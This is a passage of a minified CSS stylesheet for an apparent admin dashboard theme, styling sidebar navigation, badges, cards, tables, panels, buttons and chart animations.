position: absolute; } .mega-dropdown .dropdown-menu { height: 480px; overflow: auto; } .mini-sidebar .page-wrapper { margin-left: 0; padding-top: 60px; } } .left-sidebar { position: absolute; width: 240px; height: 100%; top: 0; z-index: 20; padding-top: 60px; background: #fff; -webkit-box-shadow: 1px 0 20px rgba(0, 0, 0, 0.08); box-shadow: 1px 0 20px rgba(0, 0, 0, 0.08); } .fix-sidebar .left-sidebar { position: fixed; } .sidebar-footer { position: fixed; z-index: 10; bottom: 0; left: 0; -webkit-transition: 0.2s ease-out; -o-transition: 0.2s ease-out; transition: 0.2s ease-out; width: 240px; background: #fff; border-top: 1px solid rgba(120, 130, 140, 0.13); } .sidebar-footer a { padding: 15px; width: 33.333337%; float: left; text-align: center; font-size: 18px; } .scroll-sidebar { padding-bottom: 60px; } .collapse.in { display: block; } .sidebar-nav { background: #fff; padding: 0; } .sidebar-nav ul { margin: 0; padding: 0; } .sidebar-nav ul li { list-style: none; } .sidebar-nav ul li a { color: #607d8b; padding: 7px 35px 7px 15px; display: block; font-size: 14px; white-space: nowrap; } .sidebar-nav ul li a:hover { color: #1976d2; } .sidebar-nav ul li a:hover i { color: #1976d2; } .sidebar-nav ul li a.active { color: #1976d2; font-weight: 500; } .sidebar-nav ul li a.active i { color: #1976d2; } .sidebar-nav ul li ul { padding-left: 28px; } .sidebar-nav ul li ul li a { padding: 7px 35px 7px 15px; } .sidebar-nav ul li ul ul { padding-left: 15px; } .sidebar-nav ul li.nav-label { font-size: 12px; margin-bottom: 0; padding: 14px 14px 14px 20px; color: #607d8b; font-weight: 600; text-transform: uppercase; } .sidebar-nav ul li.nav-devider { height: 1px; background: rgba(120, 130, 140, 0.13); display: block; } .sidebar-nav > ul > li { margin-bottom: 5px; } .sidebar-nav > ul > li > a { border-left: 3px solid transparent; } .sidebar-nav > ul > li > a i { width: 27px; font-size: 16px; display: inline-block; vertical-align: middle; color: #99abb4; } .sidebar-nav > ul > li > a .label { position: absolute; right: 35px; top: 8px; } .sidebar-nav > ul > li > a.active { font-weight: 400; background: #fff; color: #1976d2; } .sidebar-nav > ul > li.active > a { color: #1976d2; font-weight: 500; border-left: 3px solid #fff; } .sidebar-nav > ul > li.active > a i { color: #1976d2; } .sidebar-nav .has-arrow { position: relative; } .sidebar-nav .has-arrow:after { position: absolute; content: ''; width: 7px; height: 7px; border-width: 1px 0 0 1px; border-style: solid; border-color: #607d8b; right: 1em; -webkit-transform: rotate(135deg) translate(0, -50%); -ms-transform: rotate(135deg) translate(0, -50%); -o-transform: rotate(135deg) translate(0, -50%); transform: rotate(135deg) translate(0, -50%); -webkit-transform-origin: top; -ms-transform-origin: top; -o-transform-origin: top; transform-origin: top; top: 47%; -webkit-transition: all 0.3s ease-out; -o-transition: all 0.3s ease-out; transition: all 0.3s ease-out; } .sidebar-nav .active > .has-arrow:after { -webkit-transform: rotate(-135deg) translate(0, -50%); -ms-transform: rotate(-135deg) translate(0, -50%); -o-transform: rotate(-135deg) translate(0, -50%); top: 45%; width: 7px; transform: rotate(-135deg) translate(0, -50%); } .sidebar-nav .has-arrow[aria-expanded=true]:after { -webkit-transform: rotate(-135deg) translate(0, -50%); -ms-transform: rotate(-135deg) translate(0, -50%); -o-transform: rotate(-135deg) translate(0, -50%); top: 45%; width: 7px; transform: rotate(-135deg) translate(0, -50%); } .sidebar-nav li > .has-arrow.active:after { -webkit-transform: rotate(-135deg) translate(0, -50%); -ms-transform: rotate(-135deg) translate(0, -50%); -o-transform: rotate(-135deg) translate(0, -50%); top: 45%; width: 7px; transform: rotate(-135deg) translate(0, -50%); } @media (min-width: 768px) { .mini-sidebar .sidebar-nav { background: transparent; } .mini-sidebar .sidebar-nav #sidebarnav li { position: relative; } .mini-sidebar .sidebar-nav #sidebarnav > li > ul { position: absolute; left: 60px; top: 38px; width: 200px; z-index: 1001; background: #f2f6f8; display: none; padding-left: 1px; } .mini-sidebar .sidebar-nav #sidebarnav > li:hover > ul { height: auto !important; overflow: auto; display: block; } .mini-sidebar .sidebar-nav #sidebarnav > li:hover > ul.collapse { display: block; } .mini-sidebar .sidebar-nav #sidebarnav > li:hover > a { width: 260px; background: #f2f6f8; } .mini-sidebar .sidebar-nav #sidebarnav > li:hover > a .hide-menu { display: inline; } .mini-sidebar .sidebar-nav #sidebarnav > li:hover > a .label { display: none; } .mini-sidebar .sidebar-nav #sidebarnav > li > a.has-arrow:after { display: none; } .mini-sidebar .sidebar-nav #sidebarnav > li > a { padding: 9px 18px; width: 50px; } .mini-sidebar .user-profile { padding-bottom: 15px; width: 60px; margin-bottom: 7px; } .mini-sidebar .user-profile .profile-img { width: 50px; padding: 15px 0 0; margin: 0 0 0 6px; } .mini-sidebar .user-profile .profile-img .setpos { top: -35px; } .mini-sidebar .user-profile .profile-img:before { top: 15px; } .mini-sidebar .user-profile .profile-text { display: none; } .mini-sidebar .left-sidebar { width: 60px; } .mini-sidebar .scroll-sidebar { padding-bottom: 0; position: absolute; overflow-x: hidden !important; } .mini-sidebar .hide-menu { display: none; } .mini-sidebar .nav-label { display: none; } .mini-sidebar .sidebar-footer { display: none; } .mini-sidebar > .label { display: none; } .mini-sidebar .nav-devider { width: 60px; } .mini-sidebar.fix-sidebar .left-sidebar { position: fixed; } } @media (max-width: 767px) { .mini-sidebar .left-sidebar { position: fixed; left: -240px; } .mini-sidebar .sidebar-footer { left: -240px; } .mini-sidebar.show-sidebar .left-sidebar { left: 0; } .mini-sidebar.show-sidebar .sidebar-footer { left: 0; } } .badge { font-weight: 400; } .badge-xs { font-size: 9px; -webkit-transform: translate(0, -2px); -ms-transform: translate(0, -2px); -o-transform: translate(0, -2px); transform: translate(0, -2px); } .badge-sm { -webkit-transform: translate(0, -2px); -ms-transform: translate(0, -2px); -o-transform: translate(0, -2px); transform: translate(0, -2px); } .badge-success { background-color: #26dad2; } .badge-info { background-color: #1976d2; } .badge-primary { background-color: #5c4ac7; } .badge-warning { background-color: #ffb22b; } .badge-danger { background-color: #ef5350; } .badge-purple { background-color: #7460ee; } .badge-red { background-color: #fb3a3a; } .badge-inverse { background-color: #2f3d4a; } .label { padding: 3px 10px; line-height: 13px; color: #ffffff; font-weight: 400; border-radius: 4px; font-size: 75%; } .label-rounded { border-radius: 60px; } .label-custom { background-color: #00897b; } .label-success { background-color: #26dad2; } .label-info { background-color: #1976d2; } .label-warning { background-color: #ffb22b; } .label-danger { background-color: #ef5350; } .label-megna { background-color: #00897b; } .label-primary { background-color: #5c4ac7; } .label-purple { background-color: #7460ee; } .label-red { background-color: #fb3a3a; } .label-inverse { background-color: #2f3d4a; } .label-default { background-color: #f2f4f8; } .label-white { background-color: #ffffff; } .label-light-success { background-color: #e8fdeb; color: #26dad2; } .label-light-info { background-color: #cfecfe; color: #1976d2; } .label-light-warning { background-color: #fff8ec; color: #ffb22b; } .label-light-danger { background-color: #f9e7eb; color: #ef5350; } .label-light-megna { background-color: #e0f2f4; color: #00897b; } .label-light-primary { background-color: #f1effd; color: #5c4ac7; } .label-light-inverse { background-color: #f6f6f6; color: #2f3d4a; } .breadcrumb { margin-bottom: 0; } .page-titles { background: #ffffff; margin: 0 0 30px; padding: 15px 10px; position: relative; z-index: 10; -webkit-box-shadow: 1px 0 5px rgba(0, 0, 0, 0.1); box-shadow: 1px 0 5px rgba(0, 0, 0, 0.1); } .page-titles h3 { margin-bottom: 0; margin-top: 0; } .page-titles .breadcrumb { padding: 0; background: transparent; font-size: 14px; } .page-titles .breadcrumb li { margin-top: 0; margin-bottom: 0; } .page-titles .breadcrumb .breadcrumb-item + .breadcrumb-item:before { content: "\e649"; font-family: themify; color: #a6b7bf; font-size: 11px; } .page-titles .breadcrumb .breadcrumb-item.active { color: #99abb4; } .pagination > li:first-child > a { border-bottom-left-radius: 4px; border-top-left-radius: 4px; } .pagination > li:first-child > span { border-bottom-left-radius: 4px; border-top-left-radius: 4px; } .pagination > li:last-child > a { border-bottom-right-radius: 4px; border-top-right-radius: 4px; } .pagination > li:last-child > span { border-bottom-right-radius: 4px; border-top-right-radius: 4px; } .pagination > li > a { color: #263238; } .pagination > li > a:focus { background-color: #f2f4f8; } .pagination > li > a:hover { background-color: #f2f4f8; } .pagination > li > span { color: #263238; } .pagination > li > span:focus { background-color: #f2f4f8; } .pagination > li > span:hover { background-color: #f2f4f8; } .pagination > .active > a { background-color: #1976d2; border-color: #1976d2; } .pagination > .active > a:focus { background-color: #1976d2; border-color: #1976d2; } .pagination > .active > a:hover { background-color: #1976d2; border-color: #1976d2; } .pagination > .active > span { background-color: #1976d2; border-color: #1976d2; } .pagination > .active > span:focus { background-color: #1976d2; border-color: #1976d2; } .pagination > .active > span:hover { background-color: #1976d2; border-color: #1976d2; } .pagination-split li { margin-left: 5px; display: inline-block; float: left; } .pagination-split li:first-child { margin-left: 0; } .pagination-split li a { -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px; } .pager li > a { -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px; color: #263238; } .pager li > span { -moz-border-radius: 4px; -webkit-border-radius: 4px; border-radius: 4px; color: #263238; } .footer { background: #ffffff none repeat scroll 0 0; border-top: 1px solid rgba(120, 130, 140, 0.13); color: #67757c; left: 0; padding: 17px 15px; position: absolute; right: 0; } .footer { left: 240px; } #chartdiv3 { height: 450px; width: 100%; } #chartdiv { height: 450px; width: 100%; } #zoomable { height: 450px; width: 100%; } #chartMap { height: 450px; width: 100%; } .amcharts-graph-g2 .amcharts-graph-stroke { stroke-dasharray: 3px 3px; stroke-linejoin: round; stroke-linecap: round; -webkit-animation: am-moving-dashes 1s linear infinite; animation: am-moving-dashes 1s linear infinite; } @-webkit-keyframes am-moving-dashes { 100% { stroke-dashoffset: -31px; } } @keyframes am-moving-dashes { 100% { stroke-dashoffset: -31px; } } .lastBullet { -webkit-animation: am-pulsating 1s ease-out infinite; animation: am-pulsating 1s ease-out infinite; } @-webkit-keyframes am-pulsating { 0% { stroke-opacity: 1; stroke-width: 0px; } 100% { stroke-opacity: 0; stroke-width: 50px; } } @keyframes am-pulsating { 0% { stroke-opacity: 1; stroke-width: 0px; } 100% { stroke-opacity: 0; stroke-width: 50px; } } .amcharts-graph-column-front { -webkit-transition: all 0.3s 0.3s ease-out; transition: all 0.3s 0.3s ease-out; } .amcharts-graph-column-front:hover { fill: #496375; stroke: #496375; -webkit-transition: all 0.3s ease-out; transition: all 0.3s ease-out; } .amcharts-graph-g3 { stroke-linejoin: round; stroke-linecap: round; stroke-dasharray: 500%; stroke-dasharray: 0 /; /* fixes IE prob */ stroke-dashoffset: 0 /; /* fixes IE prob */ -webkit-animation: am-draw 40s; animation: am-draw 40s; } @-webkit-keyframes am-draw { 0% { stroke-dashoffset: 500%; } 100% { stroke-dashoffset: 0%; } } @keyframes am-draw { 0% { stroke-dashoffset: 500%; } 100% { stroke-dashoffset: 0%; } } /* Font Variable ----------------------*/ /* Color Variable -----------------------*/ /* Solid Color ------------------*/ /* Brand color ----------------------*/ .card { margin-bottom: 30px; } .card .card-subtitle { color: #99abb4; font-weight: 300; margin-bottom: 15px; } .card-inverse .card-bodyquote .blockquote-footer { color: rgba(255, 255, 255, 0.65); } .card-inverse .card-link { color: rgba(255, 255, 255, 0.65); } .card-inverse .card-subtitle { color: rgba(255, 255, 255, 0.65); } .card-inverse .card-text { color: rgba(255, 255, 255, 0.65); } .card-success { background: #26dad2 none repeat scroll 0 0; border-color: #26dad2; } .card-danger { background: #ef5350 none repeat scroll 0 0; border-color: #ef5350; } .card-warning { background: #ffb22b none repeat scroll 0 0; border-color: #ffb22b; } .card-info { background: #1976d2 none repeat scroll 0 0; border-color: #1976d2; } .card-primary { background: #5c4ac7 none repeat scroll 0 0; border-color: #5c4ac7; } .card-dark { background: #2f3d4a none repeat scroll 0 0; border-color: #2f3d4a; } .card-megna { background: #00897b none repeat scroll 0 0; border-color: #00897b; } .card-actions { float: right; } .card-actions a { color: #67757c; cursor: pointer; font-size: 13px; opacity: 0.7; padding-left: 7px; } .card-actions a:hover { opacity: 1; } .card-columns .card { margin-bottom: 20px; } .collapsing { transition: height 0.08s ease 0s; } .card-outline-info { border-color: #1976d2; } .card-outline-info .card-header { background: #1976d2 none repeat scroll 0 0; border-color: #1976d2; } .card-outline-inverse { border-color: #2f3d4a; } .card-outline-inverse .card-header { background: #2f3d4a none repeat scroll 0 0; border-color: #2f3d4a; } .card-outline-warning { border-color: #ffb22b; } .card-outline-warning .card-header { background: #ffb22b none repeat scroll 0 0; border-color: #ffb22b; } .card-outline-success { border-color: #26dad2; } .card-outline-success .card-header { background: #26dad2 none repeat scroll 0 0; border-color: #26dad2; } .card-outline-danger { border-color: #ef5350; } .card-outline-danger .card-header { background: #ef5350 none repeat scroll 0 0; border-color: #ef5350; } .card-outline-primary { border-color: #5c4ac7; } .card-outline-primary .card-header { background: #5c4ac7 none repeat scroll 0 0; border-color: #5c4ac7; } .card-body { padding: 0; } .card { background: #ffffff none repeat scroll 0 0; margin: 15px 0; padding: 20px; border: 0 solid #e7e7e7; border-radius: 5px; box-shadow: 0 5px 20px rgba(0, 0, 0, 0.05); } .card-subtitle { font-size: 12px; margin: 10px 0; } .card-title { font-weight: 500; font-size: 18px; line-height: 22px; } .card-title h4 { display: inline-block; font-weight: 500; font-size: 18px; line-height: 22px; } .card-title p { font-family: 'Poppins', sans-serif; margin-bottom: 12px; } .vtabs { display: table; } .vtabs .tabs-vertical { border-bottom: 0 none; border-right: 1px solid rgba(120, 130, 140, 0.13); display: table-cell; vertical-align: top; width: 150px; } .vtabs .tabs-vertical li .nav-link { border: 0 none; border-radius: 4px 0 0 4px; color: #263238; margin-bottom: 10px; } .vtabs .tab-content { display: table-cell; padding: 20px; vertical-align: top; } .tabs-vertical li .nav-link.active, .tabs-vertical li .nav-link.active:focus, .tabs-vertical li .nav-link:hover { background: #1976d2 none repeat scroll 0 0; border: 0 none; color: #ffffff; } .customvtab .tabs-vertical li .nav-link.active, .customvtab .tabs-vertical li .nav-link:focus, .customvtab .tabs-vertical li .nav-link:hover { -moz-border-bottom-colors: none; -moz-border-left-colors: none; -moz-border-right-colors: none; -moz-border-top-colors: none; background: #ffffff none repeat scroll 0 0; border-color: currentcolor #1976d2 currentcolor currentcolor; border-image: none; border-style: none solid none none; border-width: 0 2px 0 0; color: #1976d2; margin-right: -1px; } .tabcontent-border { -moz-border-bottom-colors: none; -moz-border-left-colors: none; -moz-border-right-colors: none; -moz-border-top-colors: none; border-color: currentcolor #ddd #ddd; border-image: none; border-style: none solid solid; border-width: 0 1px 1px; } .customtab2 li a.nav-link { border: 0 none; color: #67757c; margin-right: 3px; } .customtab2 li a.nav-link.active { background: #1976d2 none repeat scroll 0 0; color: #ffffff; } .customtab2 li a.nav-link:hover { background: #1976d2 none repeat scroll 0 0; color: #ffffff; } .modal-dialog { margin: 30px auto; position: relative; top: 50%; transform: translateY(-50%) !important; width: 70%; } .modal-header .close { font-size: 14px; margin-right: 15px; margin-top: 5px; } .modal-content { border-radius: 3px; } .timeline { list-style: none; padding: 0 0 8px; position: relative; } .timeline:before { top: 7px; bottom: 0; position: absolute; content: " "; width: 3px; background-color: #e7e7e7; left: 25px; margin-right: -1.5px; } .timeline-title { margin: 5px 0 !important; font-size: 16px; } .timeline > li { margin-bottom: 20px; position: relative; } .timeline > li:after, .timeline > li:before { content: " "; display: table; } .timeline > li:after { clear: both; } .timeline > li > .timeline-panel { width: calc(100% - 70px); float: right; border-radius: 2px; padding: 5px 20px; position: relative; } .timeline > li > .timeline-panel:before { position: absolute; top: 26px; left: -15px; display: inline-block; border-top: 0 solid transparent; border-right: 0 solid #e7e7e7; border-left: 0 solid #e7e7e7; border-bottom: 15px solid transparent; content: " "; } .timeline > li > .timeline-panel:after { position: absolute; top: 27px; left: -14px; display: inline-block; border-top: 14px solid transparent; border-right: 14px solid #ffffff; border-left: 0 solid #ffffff; border-bottom: 14px solid transparent; content: " "; } .timeline > li > .timeline-badge { color: #ffffff; width: 35px; height: 35px; line-height: 35px; font-size: 1.4em; text-align: center; position: absolute; top: 10px; left: 8px; margin-right: -25px; background-color: #e6a1f2; z-index: 100; border-top-right-radius: 50%; border-top-left-radius: 50%; border-bottom-right-radius: 50%; border-bottom-left-radius: 50%; } .timeline-body > p { font-size: 12px; margin-bottom: 10px; } .timeline-badge.primary { background-color: #4680ff !important; } .timeline-badge.success { background-color: #26dad2 !important; } .timeline-badge.warning { background-color: #ffb64d !important; } .timeline-badge.danger { background-color: #fc6180 !important; } .timeline-badge.info { background-color: #62d1f3 !important; } .dataTables_wrapper { padding-top: 10px; } .dt-buttons { display: inline-block; margin-bottom: 15px; padding-top: 5px; } .dt-buttons .dt-button { background: #1976d2 none repeat scroll 0 0; border-radius: 4px; color: #ffffff; margin-right: 3px; padding: 5px 15px; } .dt-buttons .dt-button:hover { background: #2f3d4a none repeat scroll 0 0; } .dataTables_info, .dataTables_length { display: inline-block; } .dataTables_length { margin-top: 10px; } .dataTables_length select { background-color: transparent; background-image: linear-gradient(#1976d2, #1976d2), linear-gradient(#b1b8bb, #b1b8bb); background-position: center bottom, center calc(99%); background-repeat: no-repeat; background-size: 0 2px, 100% 1px; border: 0 none; padding-bottom: 5px; transition: background 0s ease-out 0s; } .dataTables_length select:focus { background-image: linear-gradient(#1976d2, #1976d2), linear-gradient(#b1b8bb, #b1b8bb); background-size: 100% 2px, 100% 1px; box-shadow: none; outline: medium none; transition-duration: 0.3s; } .dataTables_filter { float: right; margin-top: 10px; } .dataTables_filter input { background-color: transparent; background-image: linear-gradient(#1976d2, #1976d2), linear-gradient(#b1b8bb, #b1b8bb); background-position: center bottom, center calc(99%); background-repeat: no-repeat; background-size: 0 2px, 100% 1px; border: 0 none; border-radius: 0; box-shadow: none; float: none; margin-left: 10px; transition: background 0s ease-out 0s; } .dataTables_filter input:focus { background-image: linear-gradient(#1976d2, #1976d2), linear-gradient(#b1b8bb, #b1b8bb); background-size: 100% 2px, 100% 1px; box-shadow: none; outline: medium none; transition-duration: 0.3s; } table.dataTable thead .sorting, table.dataTable thead .sorting_asc, table.dataTable thead .sorting_asc_disabled, table.dataTable thead .sorting_desc, table.dataTable thead .sorting_desc_disabled { background: transparent none repeat scroll 0 0; } table.dataTable thead .sorting_asc::after { content: ""; cursor: pointer; font-family: fontawesome; margin-left: 10px; } table.dataTable thead .sorting_desc::after { content: ""; cursor: pointer; font-family: fontawesome; margin-left: 10px; } table.dataTable thead .sorting::after { color: rgba(50, 50, 50, 0.5); content: ""; cursor: pointer; font-family: fontawesome !important; margin-left: 10px; } .dataTables_wrapper .dataTables_paginate { float: right; padding-top: 0.25em; text-align: right; } .dataTables_wrapper .dataTables_paginate .paginate_button { border: 1px solid #ddd; box-sizing: border-box; color: #67757c; cursor: pointer; display: inline-block; min-width: 1.5em; padding: 0.5em 1em; text-align: center; text-decoration: none; } .dataTables_wrapper .dataTables_paginate .paginate_button.current, .dataTables_wrapper .dataTables_paginate .paginate_button.current:hover { background-color: #1976d2; border: 1px solid #1976d2; color: #ffffff !important; } .dataTables_wrapper .dataTables_paginate .paginate_button.disabled, .dataTables_wrapper .dataTables_paginate .paginate_button.disabled:active, .dataTables_wrapper .dataTables_paginate .paginate_button.disabled:hover { background: transparent none repeat scroll 0 0; border: 1px solid #ddd; box-shadow: none; color: #67757c; cursor: default; } .dataTables_wrapper .dataTables_paginate .paginate_button:hover { background-color: #1976d2; border: 1px solid #1976d2; color: white; } .dataTables_wrapper .dataTables_paginate .paginate_button:active { background-color: #67757c; outline: medium none; } .dataTables_wrapper .dataTables_paginate .ellipsis { padding: 0 1em; } .tablesaw-bar .btn-group label { color: #67757c !important; } .dt-bootstrap { display: block; } .paging_simple_numbers .pagination .paginate_button { background: #ffffff none repeat scroll 0 0; padding: 0; } .paging_simple_numbers .pagination .paginate_button:hover { background: #ffffff none repeat scroll 0 0; } .paging_simple_numbers .pagination .paginate_button a { border: 0 none; padding: 2px 10px; } .paging_simple_numbers .pagination .paginate_button.active a, .paging_simple_numbers .pagination .paginate_button:hover a { background: #1976d2 none repeat scroll 0 0; color: #ffffff; } .panel { border-radius: 0; margin: 15px 0; } .panel-body { font-family: 'Poppins', sans-serif; } .panel-primary { border-color: #4680ff; } .panel-primary .panel-heading { background: #4680ff; border-color: #4680ff; color: #ffffff; } .panel-success { border-color: #26dad2; } .panel-success .panel-heading { background: #26dad2; border-color: #26dad2; color: #ffffff; } .panel-info { border-color: #62d1f3; } .panel-info .panel-heading { background: #62d1f3; border-color: #62d1f3; color: #ffffff; } .panel-danger { border-color: #fc6180; } .panel-danger .panel-heading { background: #fc6180; border-color: #fc6180; color: #ffffff; } .panel-warning { border-color: #ffb64d; } .panel-warning .panel-heading { background: #ffb64d; border-color: #ffb64d; color: #ffffff; } .panel-pink { border-color: #e6a1f2; } .panel-pink .panel-heading { background: #e6a1f2; border-color: #e6a1f2; color: #ffffff; } .panel-dark { border-color: #444c67; } .panel-dark .panel-heading { background: #444c67; border-color: #444c67; color: #ffffff; } .panel-white { border-color: #252525; } .panel-white .panel-heading { background: #ffffff; border-color: #252525; color: #252525; } .btn { padding: 7px 12px; cursor: pointer; } .btn-group label { color: #ffffff !important; margin-bottom: 0; } .btn-group label.btn-secondary { color: #67757c !important; } .btn-lg { padding: 0.75rem 1.5rem; font-size: 1.25rem; } .btn-md { padding: 12px 55px; font-size: 16px; } .btn-circle { border-radius: 100%; width: 40px; height: 40px; padding: 10px; } .btn-circle.btn-sm { width: 35px; height: 35px; padding: 8px 10px; font-size: 14px; } .btn-circle.btn-lg { width: 50px; height: 50px; padding: 14px 15px; font-size: 18px; line-height: 22px; } .btn-circle.btn-xl { width: 70px; height: 70px; padding: 14px 15px; font-size: 24px; } .btn-sm { padding: 0.25rem 0.5rem; font-size: 12px; } .btn-xs { padding: 0.25rem 0.5rem; font-size: 10px; } .button-list a { margin: 5px 12px 5px 0; } .button-list button { margin: 5px 12px 5px 0; } .btn-outline { color: inherit; background-color: transparent; -webkit-transition: all 0.5s; -o-transition: all 0.5s; transition: all 0.5s; } .btn-rounded { border-radius: 60px; padding: 7px 18px; } .btn-rounded.btn-lg { padding: 0.75rem 1.5rem; } .btn-rounded.btn-sm { padding: 0.25rem 0.5rem; font-size: 12px; } .btn-rounded.btn-xs { padding: 0.25rem 0.5rem; font-size: 10px; } .btn-rounded.btn-md { padding: 12px 35px; font-size: 16px; } .btn-secondary { -webkit-box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12); box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; background-color: #ffffff; color: #67757c; border-color: #b1b8bb; } .btn-secondary:hover { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-secondary:active { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-secondary:focus { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-secondary.disabled { -webkit-box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12); box-shadow: 0 2px 2px 0 rgba(169, 169, 169, 0.14), 0 3px 1px -2px rgba(169, 169, 169, 0.2), 0 1px 5px 0 rgba(169, 169, 169, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; background-color: #ffffff; color: #67757c; border-color: #b1b8bb; } .btn-secondary.disabled:hover { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-secondary.disabled:active { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-secondary.disabled:focus { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-secondary.active { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-secondary.disabled.active { -webkit-box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); box-shadow: 0 14px 26px -12px rgba(169, 169, 169, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(169, 169, 169, 0.2); } .btn-primary { background: #5c4ac7; border: 1px solid #5c4ac7; -webkit-box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12); box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-primary:hover { background: #5c4ac7; -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); border: 1px solid #5c4ac7; } .btn-primary:active { background: #6352ce; -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); } .btn-primary:active:focus { background-color: #6352ce; border: 1px solid #6352ce; } .btn-primary:active:hover { background-color: #6352ce; border: 1px solid #6352ce; } .btn-primary:focus { background: #6352ce; -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); background-color: #6352ce; border: 1px solid #6352ce; } .btn-primary.disabled { background: #5c4ac7; border: 1px solid #5c4ac7; -webkit-box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12); box-shadow: 0 2px 2px 0 rgba(116, 96, 238, 0.14), 0 3px 1px -2px rgba(116, 96, 238, 0.2), 0 1px 5px 0 rgba(116, 96, 238, 0.12); -webkit-transition: 0.2s ease-in; -o-transition: 0.2s ease-in; transition: 0.2s ease-in; } .btn-primary.disabled:hover { background: #5c4ac7; -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(116, 96, 238, 0.2); border: 1px solid #5c4ac7; } .btn-primary.disabled:active { background: #6352ce; -webkit-box-shadow: 0 14px 26px -12px rgba(116, 96, 238, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px 